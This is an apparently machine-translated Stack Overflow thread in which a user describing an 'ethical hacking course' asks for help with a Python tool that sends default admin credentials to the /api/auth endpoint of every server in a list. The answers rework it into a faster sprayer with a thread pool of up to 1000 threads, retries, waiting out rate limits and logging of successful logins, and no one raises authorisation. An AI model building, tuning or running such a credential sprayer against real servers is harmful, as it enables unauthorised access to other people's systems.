停止多处理遍历整个列表以获取 bruteforcer 的功能

Posted

技术标签:

【中文标题】停止多处理遍历整个列表以获取 bruteforcer 的功能【英文标题】:Stop multiprocessing from going through entire list for function for bruteforcer 【发布时间】:2022-01-15 15:30:57 【问题描述】:

我正在尝试使用多处理为我的道德黑客课程制作一个蛮力,我希望它遍历服务器 IP 列表并为每个 IP 尝试一次登录,但它在尝试制作之前打印每个 IP连接,然后在打印完所有 IP 后,它将开始尝试建立连接,然后打印几个 IP,然后尝试建立另一个连接,依此类推。

我只是希望它遍历 IP 列表并尝试连接到每一个,每个连接一个进程,一次尝试大约 20 个进程

import threading, requests, time, os, multiprocessing
global count2

login_list=["username":"admin","password":"Password1"]

with open('Servers.txt') as f:
    lines = [line.rstrip() for line in f]

count=[]
for number in range(len(lines)):
    count.append(number)
    count2 = count

def login(n):
    try:
        url = 'http://'+lines[n]+'/api/auth'
        print(url)
        if '/#!/init/admin' in url:
            print('[~] Admin panel detected, saving url and moving to next...')
        x = requests.post(url, json = login_list)
        if x.status_code == 422:
            print('[-] Failed to connect, trying again...')
            print(n)
        if x.status_code == 403:
            print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
            time.sleep(20)
            print(n)
        if x.status_code == 200:
            print('\n[~] Connection successful! Login to '+url+' saved.\n')
            print(n)
    except:
        print('[#] No more logins to try for '+url+' moving to next server...')
        print('--------------')

if __name__ == "__main__":
    # creating a pool object
    p = multiprocessing.Pool()
    # map list to target function
    result = p.map(login, count2)

Server.txt 文件示例:

83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000

这些不是真实的 IP 地址

【问题讨论】:

你完全隐藏了你的无条件和静态 except 块的任何可能的异常。 【参考方案1】:

我认为您对子流程映射函数如何将值传递给相关流程感到困惑。也许这会让事情变得更清楚:

from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError

IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']

PARAMS = 'username': 'admin', 'password': 'passw0rd'

def err(msg):
    print(msg, file=sys.stderr)

def process(ip):
    with requests.Session() as session:
        url = f'http://ip/api/auth'
        try:
            (r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
        except ConnectionError:
            err(f'Unable to connect to url')
        except HTTPError:
            err(f'HTTP r.status_code for url')
        except Exception as e:
            err(f'Unexpected exception e')


def main():
    with Pool() as pool:
        pool.map(process, IPLIST)

if __name__ == '__main__':
    main()

附加说明:您可能希望指定超时,否则由于默认重试,无法访问的地址将需要很长时间才能处理。查看异常处理。

【讨论】:

【参考方案2】:

首先我要提到的是,这是一项最适合多线程的工作,因为login 主要是等待网络请求完成,而且创建线程比创建进程效率更高。实际上,您应该创建一个线程池,其大小等于您将发布的 URL 的数量,最多为 1000 个(并且您不希望创建该大小的多处理池)。

其次,当您进行多处理或多线程处理时,您的工作函数(在本例中为 login)正在处理传递给 map 函数的 iterable 的单个元素。我想你明白了。但不是将服务器列表传递给map,而是传递一个数字列表(它们是索引),然后login 使用该索引从lines 列表中获取信息。那是相当间接的。此外,您构建索引列表的方式可以通过一行来简化:count2 = list(range(len(lines))) 或实际上只是 count2 = range(len(lines))(您不需要列表)。

第三,在您的代码中,您说您正在重试某些错误,但实际上没有这样做的逻辑。

import requests
from multiprocessing.pool import ThreadPool
from functools import partial
import time

# This must be a dict not a list:
login_params = "username": "admin", "password": "Password1"

with open('Servers.txt') as f:
    servers = [line.rstrip() for line in f]

def login(session, server):
    url = f'http://server/api/auth'
    print(url)

    if '/#!/init/admin' in url:
        print(f'[~] Admin panel detected, saving url and moving to next...')
        # To move on the next, you simply return
        # because you are through with this URL:
        return

    try:
        for retry_count in range(1, 4): # will retry up to 3 times certain errors:
            r = session.post(url, json=login_params)

            if retry_count == 3:
                # This was the last try:
                break

            if r.status_code == 422:
                print(f'[-] Failed to connect to url, trying again...')
            elif r.status_code == 403:
                print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying url again in 20 seconds')
                time.sleep(20)
            else:
                break # not something we retry

        r.raise_for_status() # test status code
    except Exception as e:
        print('Got exception: ', e)
    else:
        print(f'\n[~] Connection successful! Login to url saved.\n')

if __name__ == "__main__":
    # creating a pool object
    with ThreadPool(min(len(servers), 1000)) as pool, \
    requests.Session() as session:
        # map will return list of None since `login` returns None implicitly:
        pool.map(partial(login, session), servers)

【讨论】:

以上是关于停止多处理遍历整个列表以获取 bruteforcer 的功能的主要内容,如果未能解决你的问题,请参考以下文章

Kineticjs 停止渲染

使用 NSFetchedResultsControllers 遍历一对多关系

Cypher 查询以在到达集线器时停止图遍历

第四章-操作列表

使用多处理从列表中删除项目

如何获取 logrotate 文件列表